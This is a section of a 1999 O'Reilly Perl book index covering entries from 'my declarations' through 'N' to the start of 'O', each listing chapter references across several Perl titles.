Perl Cookbook, 2.14. Multiplying Matrices
Learning Perl, 2.4.1. Operators for Numbers
Perl in a Nutshell, 4.5.3. Arithmetic Operators
Programming Perl, 1.5.2. String Operators
Programming Perl, 2.5.7. Multiplicative Operators
multithreading
Advanced Perl Programming, 12.4. Real-World Servers
Advanced Perl Programming, 20.7. A Peek into the Future
Perl Cookbook, 16.17. Writing a Signal Handler
Perl in a Nutshell, 3.5. Threads
Programming Perl, 5.3.9. A Note on Garbage Collection
networking and
Advanced Perl Programming, 12.3.1. Multiple Threads of Execution
Advanced Perl Programming, 12.4. Real-World Servers
scratchpads and : Advanced Perl Programming, 20.3.5.2. How local and my work
Mutex module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
mutex objects : Perl in a Nutshell, 19.9. Win32::Mutex
mv command, rename() and : Learning Perl, 13.2. Renaming a File
my declarations
Advanced Perl Programming, 1.2.3. References to Anonymous Storage
Advanced Perl Programming, 20.3.5.2. How local and my work
Perl Cookbook, 10.2. Making Variables Private to a Function
Learning Perl, 8.5. Private Variables in Functions
Perl in a Nutshell, Chapter 5, Reference: my
Perl in a Nutshell, 4.7.4. Private and Local Variables
Programming Perl, 2.6.8. Scoped Declarations
Programming Perl, 3.2.97. my
Programming Perl, 8.2.2. Frequently Ignored Advice
closures and : Programming Perl, 4.3.6. Closures
local operator versus : Advanced Perl Programming, 3.1.2. Lexical Versus Dynamic Scoping
typeglobs and : Advanced Perl Programming, 3.2.1. Temporary Aliases

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n command (debugger)
Perl in a Nutshell, Chapter 6, Reference: n
Programming Perl, 8.1.1. Debugger Commands
\n, in single-quoted strings : Learning Perl, 2.3.1. Single-Quoted Strings
n index
Entry widget : Perl in a Nutshell, 18.8.1. Text Indexes
Listbox widget : Perl in a Nutshell, 18.10.1. Listbox Indexes
Menu widget : Perl in a Nutshell, 18.15.1. Menu Indexes
Text widget : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
-n option (sed) : Learning Perl, 18.2. Converting sed Programs to Perl
\n (newline) sequence : Perl in a Nutshell, 4.6.3. Escaped Sequences
-n switch, perl
Perl Cookbook, 7.7. Writing a Filter
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
Nagle's algorithm : Perl Cookbook, 17.3. Communicating over TCP
naked blocks : Learning Perl, 9.1. The last Statement
NAME attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
name() (Mail::Address) : Perl in a Nutshell, Chapter 14, Reference: name
name=value pairs : (see queries)
named parameters (CGI) : Perl in a Nutshell, 10.4. Named Parameters
named pipes
Perl Cookbook, 16.11. Making a Process Look Like a File with Named Pipes
Perl Cookbook, 16.22. Program: sigrand
Programming Perl, 6.2.2.4. Named pipes
named unary operators
Programming Perl, 2.3.7.3. Filename globbing operator
Programming Perl, 2.5.10. Named Unary and File Test Operators
names
arrays : Programming Perl, 2.3.1. Variables
capitalization conventions
(see also case/capitalization)
Programming Perl, 2.3.1. Variables
commands : Programming Perl, 1.2.2. Verbs
current subroutines : Perl Cookbook, 10.4. Determining Current Function Name
current working directory : Programming Perl, 7.2.7. Cwd - Get Pathname of Current Working Directory
filenames : (see filenames)
format : (see format, names)
functions : Programming Perl, 1.2.2. Verbs
getting from network addresses
Programming Perl, 3.2.47. gethostbyaddr
Programming Perl, 3.2.51. getnetbyaddr
getting from port number : Programming Perl, 3.2.64. getservbyname
hashes
Advanced Perl Programming, 1.3. Nested Data Structures
Programming Perl, 2.3.1. Variables
labels and filehandles : Programming Perl, 2.3.1. Variables
loop labels : Perl in a Nutshell, 4.3.1.5. Loop control
modules/packages
Advanced Perl Programming, 6.2. Packages and Files
Perl in a Nutshell, 7.1. Namespaces and Packages
Programming Perl, 5.2. Modules
Programming Perl, 8.4. Programming with Style
program : (see $ variables, $0 variable)
protocols
Programming Perl, 3.2.59. getprotobynumber
Programming Perl, 3.2.65. getservbyport
signals : Programming Perl, 6.2.1. Signals
sockets : Programming Perl, 3.2.7. bind
statement block labels : Perl in a Nutshell, 4.3. Statements
subroutines
Advanced Perl Programming, 3.3.3. Naming Anonymous Subroutines
Learning Perl, 8.5. Private Variables in Functions
Programming Perl, 2.3.1. Variables
Programming Perl, 2.7. Subroutines
translating to network addresses
Programming Perl, 3.2.48. gethostbyname
Programming Perl, 3.2.52. getnetbyname
typeglobs
Programming Perl, 2.3.6. Typeglobs and Filehandles
Programming Perl, 2.7.1. Passing Symbol Table Entries (Typeglobs)
usernames, passwd file entry from : Programming Perl, 3.2.62. getpwnam
variables
Advanced Perl Programming, 3.2.2.3. Friendly predefined variables with aliases
Perl in a Nutshell, 4.2.4.2. Hashes
Programming Perl, 1.2.1. Nouns
Programming Perl, 2.3.1. Variables
Programming Perl, 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
Programming Perl, 7.2.76. vars - Predeclare Global Variable Names
Programming Perl, 8.4. Programming with Style
namespaces
(see also packages)
Learning Perl, 3.3. Variables
Perl in a Nutshell, 4.2.4. Variables
Perl in a Nutshell, 7.1. Namespaces and Packages
creating safe : Programming Perl, 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
importing symbols into : Advanced Perl Programming, 6.5. Importing Symbols
privacy and : Advanced Perl Programming, 6.4. Privacy
working with multiple : Advanced Perl Programming, 6.1. Basic Package
natural languages : Programming Perl, 1.2. Natural and Artificial Languages
natural logarithms : Perl Cookbook, 2.13. Taking Logarithms
navigation web with robots : Perl Cookbook, 20.11. Creating a Robot
navigator object (PerlScript) : Perl in a Nutshell, 20.1. Client-Side PerlScript
NDBM files : Perl Cookbook, 14.0. Introduction
NDBM_File module
Perl in a Nutshell, 8.109. NDBM_File
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
Programming Perl, 7.2.45. NDBM_File - Tied Access to NDBM Files
ne (not equal to) operator
Learning Perl, 2.4.2. Operators for Strings
Perl in a Nutshell, 4.5.4.2. Equality operators
Programming Perl, 8.2.1. Universal Blunders
examples of
Learning Perl, 1.5.4. Guessing the Secret Word
Learning Perl on Win32 Systems, 1.6.4. Guessing the Secret Word
nearest() (Listbox) : Perl in a Nutshell, 18.10.2. Listbox Methods
neat() (DBI) : Perl in a Nutshell, Chapter 12, Reference: neat
neat_list() (DBI) : Perl in a Nutshell, Chapter 12, Reference: neat_list
negation
arithmetic (-) operator : Programming Perl, 2.5.5. Ideographic Unary Operators
bitwise (~) operator : Programming Perl, 2.5.5. Ideographic Unary Operators
logical (!) operator : Programming Perl, 2.5.5. Ideographic Unary Operators
of character class : Programming Perl, 1.7.1. Quantifiers
negative lookahead asserion : Programming Perl, 2.4.1.4. Regular expression extensions
nested
data structures
Advanced Perl Programming, B.2. Nested Data Structures
Advanced Perl Programming, 1.3. Nested Data Structures
SWIG and : Advanced Perl Programming, 18.3. SWIG Features
data structures, printed : Programming Perl, 8.1.1. Debugger Commands
destruction : Programming Perl, 5.3.7. Destructors
HTML tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
lists
Programming Perl, 4.6. A Brief Tutorial: Manipulating Lists of Lists
Programming Perl, 4.7. Data Structure Code Examples
loops, exiting from : Learning Perl, 9.4. Labeled Blocks
modules/packages : Advanced Perl Programming, 6.6. Nesting Packages
packages : Programming Perl, 5.1. Packages
subroutines
Perl Cookbook, 10.16. Nesting Subroutines
Learning Perl, 8.2. Invoking a User Function
Net modules
Perl in a Nutshell, 8.110. Net::hostent
Perl in a Nutshell, 14. Email Connectivity
Net::DNS module : Perl Cookbook, 18.9. Program: expn and vrfy
Net::FTP module
Advanced Perl Programming, 12.6.1. Net::FTP
Perl Cookbook, 18.2. Being an FTP Client
Perl in a Nutshell, 16.2. Net::FTP
Net::hostent module : Perl in a Nutshell, 8.110. Net::hostent
Net::netent module : Perl in a Nutshell, 8.111. Net::netent
Net::Netrc module : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
Net::News module : Perl in a Nutshell, 15.2. Net::NNTP
Net::NNTP module : Perl Cookbook, 18.4. Reading and Posting Usenet News Messages
Net::Ping module
Perl Cookbook, 18.7. Pinging a Machine
Perl in a Nutshell, 8.112. Net::Ping
Programming Perl, 7.2.46. Net::Ping - Check Whether a Host Is Online
Net::POP3 module
Advanced Perl Programming, 12.6.2. Net::POP3
Perl Cookbook, 18.5. Reading Mail with POP3
Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
Net::protoent module : Perl in a Nutshell, 8.113. Net::protoent
Net::servent module : Perl in a Nutshell, 8.114. Net::servent
Net::SMTP module : Perl in a Nutshell, 14.1.1. Send Email with Net::SMTP
Net::SNPP and Net::Time modules : Perl in a Nutshell, 14. Email Connectivity
Net::Telnet : Perl Cookbook, 18.6. Simulating Telnet from a Program
Net::Whois module : Perl Cookbook, 18.8. Using Whois to Retrieve Information from the InterNIC
net use command : Learning Perl on Win32 Systems, 12.5. Reading a Directory Handle
net view command : Learning Perl on Win32 Systems, 14.6. Exercises
NetAdmin module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 16.1. Getting User and Machine Information
netloc() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: netloc
netlock program : Perl Cookbook, 7.21. Program: netlock
.netrc file : Perl in a Nutshell, 16.3. FTP Configuration with Net::Netrc
netresource data structure : Perl in a Nutshell, 19.11. Win32::NetResource
NetResource module
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 12.5. Reading a Directory Handle
Netscape history.db file : Perl Cookbook, 14.11. Program: ggh - Grep Netscape Global History
:netscape method group
Learning Perl, 19.5. Less Typing
Perl in a Nutshell, 10.2. Importing Method Groups
NetShareAdd() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: NetShareAdd
NetShareCheck() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: NetShareCheck
NetShareDel() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: NetShareDel
NetShareGetInfo() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: NetShareGetInfo
NetShareSetInfo() (Win32::NetResource) : Perl in a Nutshell, Chapter 19, Reference: NetShareSetInfo
netstat : Learning Perl on Win32 Systems, 14.3. Using Processes as Filehandles
network addresses, translating to names
Programming Perl, 3.2.47. gethostbyaddr
Programming Perl, 3.2.51. getnetbyaddr
Network News Transfer Protocol (NNTP) : Perl in a Nutshell, 15. Usenet News
networking
Advanced Perl Programming, 12. Networking with Sockets
Learning Perl on Win32 Systems, C. Networking Clients
bidirectional communication : Advanced Perl Programming, 12.2.3. Bidirectional Communications
email : Perl in a Nutshell, 14. Email Connectivity
fetching information, function for : Perl in a Nutshell, 5.1. Perl Functions by Category
handling multiple clients : Advanced Perl Programming, 12.3. Handling Multiple Clients
IO objects and filehandles : Advanced Perl Programming, 12.5. IO Objects and Filehandles
RPC module : Advanced Perl Programming, 13.2. Remote Procedure Calls (RPC)
server administration : Perl in a Nutshell, 19.10. Win32::NetAdmin
servers : Advanced Perl Programming, 12.4. Real-World Servers
sockets : Perl in a Nutshell, 13. Sockets
built-in functions for : Perl in a Nutshell, 13.1. Built-in Socket Functions
IO::Socket module : Perl in a Nutshell, 13.2. The IO::Socket Module
IO::Socket::INET subclass : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
IO::Socket::UNIX subclass : Perl in a Nutshell, 13.2.5. IO::Socket::UNIX Reference
Usenet news : Perl in a Nutshell, 15. Usenet News
networks file : (see /etc/networks file)
new()
Perl Cookbook, 13.0. Introduction
Learning Perl, 19.8.2. Objects in CGI.pm
Programming Perl, 3.2.98. new
Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
Adaptor::DBI module
Advanced Perl Programming, 11.2.2. Object Encapsulation
Advanced Perl Programming, 11.3.2. Adaptor::DBI
Adaptor::File module : Advanced Perl Programming, 11.2.2. Object Encapsulation
HTML modules
HTML::Element module : Perl in a Nutshell, 17.4.2. HTML::Element
HTML::FormatPS module : Perl in a Nutshell, 17.4.4. HTML::FormatPS
HTML::Parser module : Perl in a Nutshell, 17.4.1. HTML::Parser
HTTP modules
HTTP::Cookies module : Perl in a Nutshell, 17.3.6. HTTP::Cookies
HTTP::Cookies::Netscape module : Perl in a Nutshell, 17.3.6.1. HTTP::Cookies::Netscape
HTTP::Daemon module : Perl in a Nutshell, 17.3.7. HTTP::Daemon
HTTP::Headers module : Perl in a Nutshell, 17.3.3. HTTP::Headers
HTTP::Request module : Perl in a Nutshell, 17.3.1. HTTP::Request
HTTP::Response module : Perl in a Nutshell, 17.3.2. HTTP::Response
IO::Socket module : Advanced Perl Programming, 12.5. IO Objects and Filehandles
LWP::RobotUA module : Perl in a Nutshell, 17.2.1. LWP::RobotUA sections
Mail modules
Mail::Address module : Perl in a Nutshell, Chapter 14, Reference: new
Mail::Folder module : Perl in a Nutshell, Chapter 14, Reference: new
Mail::Internet module : Perl in a Nutshell, Chapter 14, Reference: new
Mail::Mailer module : Perl in a Nutshell, Chapter 14, Reference: new
Mail::POP3Client module : Perl in a Nutshell, Chapter 14, Reference: new
Mail::Send module : Perl in a Nutshell, Chapter 14, Reference: new
Net modules
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: new
Net::NNTP module : Perl in a Nutshell, Chapter 15, Reference: new
Net::POP3 module : Perl in a Nutshell, Chapter 14, Reference: new
Net::SMTP module : Perl in a Nutshell, Chapter 14, Reference: new
News::Newsrc module : Perl in a Nutshell, Chapter 15, Reference: new
URI::URL module : Perl in a Nutshell, 17.5.2. URI::URL
Win32 modules
Win32::ChangeNotification module : Perl in a Nutshell, 19.3. Win32::ChangeNotification
Win32::Console module : Perl in a Nutshell, 19.2. Win32::Console
Win32::EventLog module : Perl in a Nutshell, 19.4. Win32::Eventlog
Win32::Internet module
Perl in a Nutshell, 19.7. Win32::Internet
Perl in a Nutshell, 19.7.1. General Internet Methods
Win32::Mutex module : Perl in a Nutshell, 19.9. Win32::Mutex
Win32::OLE module : Perl in a Nutshell, Chapter 19, Reference: new
Win32::OLE::Enum module : Perl in a Nutshell, Chapter 19, Reference: new
Win32::OLE::Variant module : Perl in a Nutshell, 19.18.4. Win32::OLE::Variant
Win32::Semaphore module : Perl in a Nutshell, 19.14. Win32::Semaphore
Win32::Shortcut module : Perl in a Nutshell, 19.16. Win32::Shortcut
new_from_fd() : Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
new_tmpfile() (IO::File) : Perl Cookbook, 7.5. Creating Temporary Files
newgroups() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: newgroups
newlines : (see line breaks; whitespace)
anon-matching by dot and : Learning Perl, 7.3.1. Single-Character Patterns
boundary assertions and : Programming Perl, 2.4.1.2. The rules of regular expression matching
in format value, and @* field : Learning Perl, 11.4.3. Multiline Fields
non-matching by dot : Learning Perl on Win32 Systems, 7.3.1. Single-Character Patterns
removing
Learning Perl, 2.7. <STDIN> as a Scalar Value
Programming Perl, 1.4. Filehandles
in string literals : Programming Perl, 2.3.2.2. String literals
newnews() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: newnews
news
Perl Cookbook, 18.4. Reading and Posting Usenet News Messages
Perl in a Nutshell, 15. Usenet News
Net::News module : Perl in a Nutshell, 15.2. Net::NNTP
News::Newsrc module : Perl in a Nutshell, 15.3. The News::Newsrc Module
NNTP protocol : Perl in a Nutshell, 15.1. The NNTP Protocol
newsgroups
listing available : Perl in a Nutshell, 15.1. The NNTP Protocol
Perl-related
Learning Perl on Win32 Systems, 1.4. Support
Perl in a Nutshell, 1.4.1. The comp.lang.perl.* Newsgroups
Programming Perl, Usenet Newsgroups
newsgroups() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: newsgroups
.newsrc file : Perl in a Nutshell, 15.3. The News::Newsrc Module
next operator
Learning Perl, 9.2. The next Statement
Perl in a Nutshell, Chapter 5, Reference: next
Perl in a Nutshell, Chapter 15, Reference: next
Perl in a Nutshell, 4.3.1.1. while loops
Perl in a Nutshell, 4.3.1.5. Loop control
Programming Perl, 1.6.2.4. Breaking out: next and last
Programming Perl, 2.6.4.4. Loop control
Programming Perl, 3.2.99. next
example of : Learning Perl, A.17. Chapter 18, Converting Other Languages to Perl
next if construct : Programming Perl, 8.3.1. Time Efficiency
Next() (Win32::OLE::Enum) : Perl in a Nutshell, Chapter 19, Reference: Next
next_labeled_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: next_labeled_message
next_message() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: next_message
NEXTKEY function
Advanced Perl Programming, 9.3. Tying Hashes
Programming Perl, 5.4.3. Tying Hashes
NFA (nondeterministic finite automata)
Perl Cookbook, 6.0. Introduction
Programming Perl, 2.4.1.2. The rules of regular expression matching
$nlink file statistic : Programming Perl, 3.2.159. stat
nlst() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: nlst
NNTP (Network News Transfer Protocol) : Perl in a Nutshell, 15. Usenet News
nntppost() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: nntppost
nntpstat() (Net::NNTP) : Perl in a Nutshell, Chapter 15, Reference: nntpstat
no declaration
Perl in a Nutshell, Chapter 5, Reference: no
Programming Perl, 2.6.9. Pragmas
Programming Perl, 3.2.100. no
no_proxy() (LWP::UserAgent) : Perl in a Nutshell, Chapter 17, Reference: no_proxy
no_visits() (LWP::RobotUA) : Perl in a Nutshell, Chapter 17, Reference: no_visits
NodeName function : Learning Perl on Win32 Systems, 16.1. Getting User and Machine Information
NodeName module : Learning Perl on Win32 Systems, B.4. Win32 Extensions
noecho input mode : Perl Cookbook, 15.10. Reading Passwords
NOFILE constant : Perl Cookbook, 7.17. Caching Open Output Filehandles
nomethod operator : Programming Perl, 7.2.48.4. No method
non-blocking I/O : Perl Cookbook, 7.14. Doing Non-Blocking I/O
non-forking servers : Perl Cookbook, 17.13. Non-Forking Servers
non-greedy matching
Perl Cookbook, 6.0. Introduction
Perl Cookbook, 6.15. Greedy and Non-Greedy Matches
Perl in a Nutshell, 4.6.6. Quantifiers
nondeterministic finite automata (NFA)
Perl Cookbook, 6.0. Introduction
Programming Perl, 2.4.1.2. The rules of regular expression matching
none index (Menu widget) : Perl in a Nutshell, 18.15.1. Menu Indexes
nonforker program (example) : Perl Cookbook, 17.13. Non-Forking Servers
nonnblocking filehandles : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
NonStop option (PERLDB_OPTS) : Perl in a Nutshell, 6.4. Customizing the Debugger
not (!) operator : Programming Perl, 2.5.5. Ideographic Unary Operators
not equal to (!=) operator : Programming Perl, 2.5.12. Equality Operators
NOT functionality in regular expressions : Perl Cookbook, 6.17. Expressing AND, OR, and NOT in a Single Pattern
noTTY option (PERLDB_OPTS) : Perl in a Nutshell, 6.4. Customizing the Debugger
nounder_demo program (example) : Perl Cookbook, 13.15. Creating Magic Variables with tie
nouns : Programming Perl, 1.2.1. Nouns
nph() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: nph
$NR variable
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
nstore() : Perl Cookbook, 11.13. Storing Data Structures to Disk
NTFS file permissions : Perl in a Nutshell, 19.6. Win32::FileSecurity
NUL characters, and DBM accesses : Learning Perl, 17.3. Using a DBM Hash
null
filehandle
angle operator and : Programming Perl, 2.3.7.2. Line input (angle) operator
list : Programming Perl, 2.3.4. List Values and Arrays
scalars : Programming Perl, 2.3.3.2. Boolean context
NULLABLE attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
NUM_OF_FIELDS attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
NUM_OF_PARAMS attribute (DBI) : Perl in a Nutshell, 12.2.3. Database Handles and Statement Handles
numbers
(see also values)
Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
Perl Cookbook, 2.0. Introduction
Learning Perl on Win32 Systems, 2.1. What Is Scalar Data?
Perl in a Nutshell, 4.2.1. Numbers
Programming Perl, 2.3.2.1. Numeric literals
adding commas to : Perl Cookbook, 2.17. Putting Commas in Numbers
automatic conversion to strings : Learning Perl, 2.4.4. Conversion Between Numbers and Strings
for commands, debugger and : Programming Perl, 8.1.2. Using the Debugger
comparing
Programming Perl, 1.5.6. Comparison Operators
Programming Perl, 6.4.2.2. a2p
complex (imaginary)
Perl Cookbook, 2.15. Using Complex Numbers
Programming Perl, 7.2.44. Math::Complex - Complex Numbers Package
converting binary with decimal : Perl Cookbook, 2.4. Converting Between Binary and Decimal
converting with ASCII characters : Perl Cookbook, 1.4. Converting Between ASCII Characters and Values
\d (digit) character class
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.4. Character Classes
Programming Perl, 1.7. Regular Expressions
\D (nondigit) character class : Perl in a Nutshell, 4.6.4. Character Classes
decimal places, controlling : Perl Cookbook, 13.14. Overloading Operators
definition of : Learning Perl, 2.1. What Is Scalar Data?
digits in names : Programming Perl, 2.3.1. Variables
fixed-precision numeric fields : Perl in a Nutshell, 4.10. Formats
floating-point
Perl Cookbook, 2.0. Introduction
Perl Cookbook, 2.2. Comparing Floating-Point Numbers
Perl Cookbook, 2.3. Rounding Floating-Point Numbers
Programming Perl, 7.2.42. Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
hexadecimal : (see hexadecimal numbers)
integers
Perl Cookbook, 2.5. Operating on a Series of Integers
Programming Perl, 7.2.38. integer - Do Arithmetic in Integer Instead of Double
Programming Perl, 7.2.43. Math::BigInt - Arbitrary-Length Integer Math Package
justifying by decimal point : Programming Perl, 2.8. Formats
large, underscore and : Programming Perl, 2.3.2.1. Numeric literals
line (__LINE__ token)
Perl Cookbook, 10.4. Determining Current Function Name
Perl in a Nutshell, 4.4.4. Global Special Constants
Programming Perl, 2.3.2.7. Other literal tokens
logarithms : Perl Cookbook, 2.13. Taking Logarithms
matrix multiplication : Perl Cookbook, 2.14. Multiplying Matrices
octal : (see octal characters)
for pages : Programming Perl, 2.9.2. Per-Filehandle Special Variables
plural words based on : Perl Cookbook, 2.18. Printing Correct Plurals
port, getting name for/from
Programming Perl, 3.2.64. getservbyname
Programming Perl, 3.2.65. getservbyport
primes, calculating : Perl Cookbook, 2.19. Program: Calculating Prime Factors
protocol : Programming Perl, 3.2.59. getprotobynumber
random
Perl Cookbook, 2.0. Introduction
Perl Cookbook, 2.7. Generating Random Numbers
Programming Perl, 3.2.115. rand
Programming Perl, 3.2.158. srand
biasing : Perl Cookbook, 2.10. Generating Biased Random Numbers
roman numerals : Perl Cookbook, 2.6. Working with Roman Numerals
sorting numerically : Learning Perl, 15.4. Advanced Sorting
strings as valid numbers : Perl Cookbook, 2.1. Checking Whether a String Is a Valid Number
trigonometry : Perl Cookbook, 2.11. Doing Trigonometry in Degrees, not Radians
truncating with int : Programming Perl, 3.2.76. int
numeric fields (in formats) : Learning Perl, 11.4.2. Numeric Fields
numeric operators : Learning Perl, 2.4.1. Operators for Numbers
NVs (doubles) : Advanced Perl Programming, 20.3.1. Scalar Values

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

o command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: o
O command (debugger)
Perl in a Nutshell, Chapter 6, Reference: O
Programming Perl, 8.1.1. Debugger Commands
-o file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-O file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
/o modifier : Programming Perl, 2.4.2. Pattern-Matching Operators
O module : Perl in a Nutshell, 8.115. O
-O option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-o option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
O_ flags : Perl Cookbook, 7.1. Opening a File
O_NONBLOCK option : Perl Cookbook, 7.14. Doing Non-Blocking I/O
O_NDELAY option : Advanced Perl Programming, 12.3.3. Nonblocking Filehandles
object-oriented programming (OOP)
Advanced Perl Programming, 7.1. OO: An Introduction
Perl Cookbook, 13.0. Introduction
Learning Perl, 19.8.1. Object-Oriented Programming in Perl
Perl in a Nutshell, 7.3. Object-Oriented Perl
Programming Perl, 5.3.1. Brief Refresher on Object-Oriented Programming
Programming Perl, 5.5.1. Object-Oriented Scaling Tips
inheritance : (see inheritance)
other languages and : Advanced Perl Programming, 7.5.1. Tcl
polymorphism : Advanced Perl Programming, 7.2.4. The Need for Polymorphism
objects
Advanced Perl Programming, 7.2. Objects in Perl
Advanced Perl Programming, 20.2.1. Perl Objects
Perl Cookbook, 13.0. Introduction
Perl in a Nutshell, 7.3. Object-Oriented Perl
Programming Perl, 5.3. Objects
Programming Perl, 5.5.9. Class Context and the Object
associations between : Advanced Perl Programming, 11.2.7. Object Associations
attributes of
Advanced Perl Programming, 7.2.8. Accessor Methods
Advanced Perl Programming, 7.2.1. Attributes
Advanced Perl Programming, 8.1. Efficient Attribute Storage
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.3. Managing Instance Data
inheritance and : Perl Cookbook, 13.12. Solving the Data Inheritance Problem
blessing : Programming Perl, 3.2.9. bless
CGI programs and : Learning Perl, 19.8.1. Object-Oriented Programming in Perl
classes : Programming Perl, 5. Packages, Modules, and Object Classes
cloning parent objects : Perl Cookbook, 13.6. Cloning Objects
closures
Advanced Perl Programming, 4.4.3. Closures Versus Objects
Advanced Perl Programming, 20.3.5.4. Objects versus closures
Perl Cookbook, 11.7. Using Closures Instead of Objects
constructors : (see constructors)
delegation : Advanced Perl Programming, 8.2. Delegation
destroying
Advanced Perl Programming, 7.2.7. Object Destruction
Perl Cookbook, 13.0. Introduction
Perl Cookbook, 13.2. Destroying an Object
determining subclass membership : Perl Cookbook, 13.8. Determining Subclass Membership
encapsulating : (see encapsulation)
faster : Advanced Perl Programming, 20.7. A Peek into the Future
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
identity of : Advanced Perl Programming, 11.2.6. Object Identity
instance vs. class methods : Perl in a Nutshell, 7.4. Object Syntax
IO objects : Advanced Perl Programming, 12.5. IO Objects and Filehandles
managing instance data : Perl Cookbook, 13.3. Managing Instance Data
methods
Perl Cookbook, 13.0. Introduction
Learning Perl, 19.8.1. Object-Oriented Programming in Perl
Programming Perl, 4.3.4. Using Object Methods
Programming Perl, 7.2.11. DirHandle - Supply Object Methods for Directory Handles
for filehandles : Programming Perl, 7.2.33. FileHandle - Supply Object Methods for Filehandles
pointers : Advanced Perl Programming, 20.3.1.3. SVs and object pointers
references : Advanced Perl Programming, 7.2.2. Unique Identity
syntax of : Advanced Perl Programming, B.5. Objects
tied objects : Perl Cookbook, 13.15. Creating Magic Variables with tie
uniquess of : Advanced Perl Programming, 11.2.8. Uniqueness of Objects in Memory
ObjectTemplate library
Advanced Perl Programming, 8.1.1. ObjectTemplate: Attribute Storage Using Arrays
Advanced Perl Programming, 11.1. Adaptor: An Introduction
obscure biblical reference : Learning Perl, 15.5. Transliteration
obtaining Perl
modules
Perl in a Nutshell, 2.2. How Is CPAN Organized?
Perl in a Nutshell, 2.4. Getting and Installing Modules
source code
Perl in a Nutshell, 2. Installing Perl
Programming Perl, How to Get Perl
oct()
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
Learning Perl, 2.2.3. Integer Literals
Learning Perl, 2.4.4. Conversion Between Numbers and Strings
Learning Perl on Win32 Systems, 2.2.3. Integer Literals
Learning Perl on Win32 Systems, 2.4.4. Conversion Between Numbers and Strings
Perl in a Nutshell, Chapter 5, Reference: oct
Programming Perl, 3.2.101. oct
octal characters
Perl Cookbook, 2.16. Converting Between Octal and Hexadecimal
Learning Perl, 2.2.3. Integer Literals
Programming Perl, 2.3.2.2. String literals
Programming Perl, 2.4.1.2. The rules of regular expression matching
Programming Perl, 3.2.101. oct
specifying $/ as : Programming Perl, 6.1.2. Switches
OCX controls : Learning Perl on Win32 Systems, 19.1. Introduction to OLE Automation
ODBC module
Advanced Perl Programming, 10.4.2. Win32::ODBC
Learning Perl on Win32 Systems, B.4. Win32 Extensions
Learning Perl on Win32 Systems, 17.6. Win32 Database Interfaces
ODBC specification : Advanced Perl Programming, 10.4. Relational Databases
ODBM_File module
Perl in a Nutshell, 8.116. ODBM_File
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
Programming Perl, 7.2.47. ODBM_File - Tied Access to ODBM Files
offsets
for m// successes : Programming Perl, 3.2.109. pos
read function : Programming Perl, 3.2.116. read
seek function : Programming Perl, 3.2.132. seek
-offvalue option
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
$OFMT ($#) variable
Learning Perl, 3.4.2. Array Element Access
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.3.4. List Values and Arrays
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.4.2.2. a2p
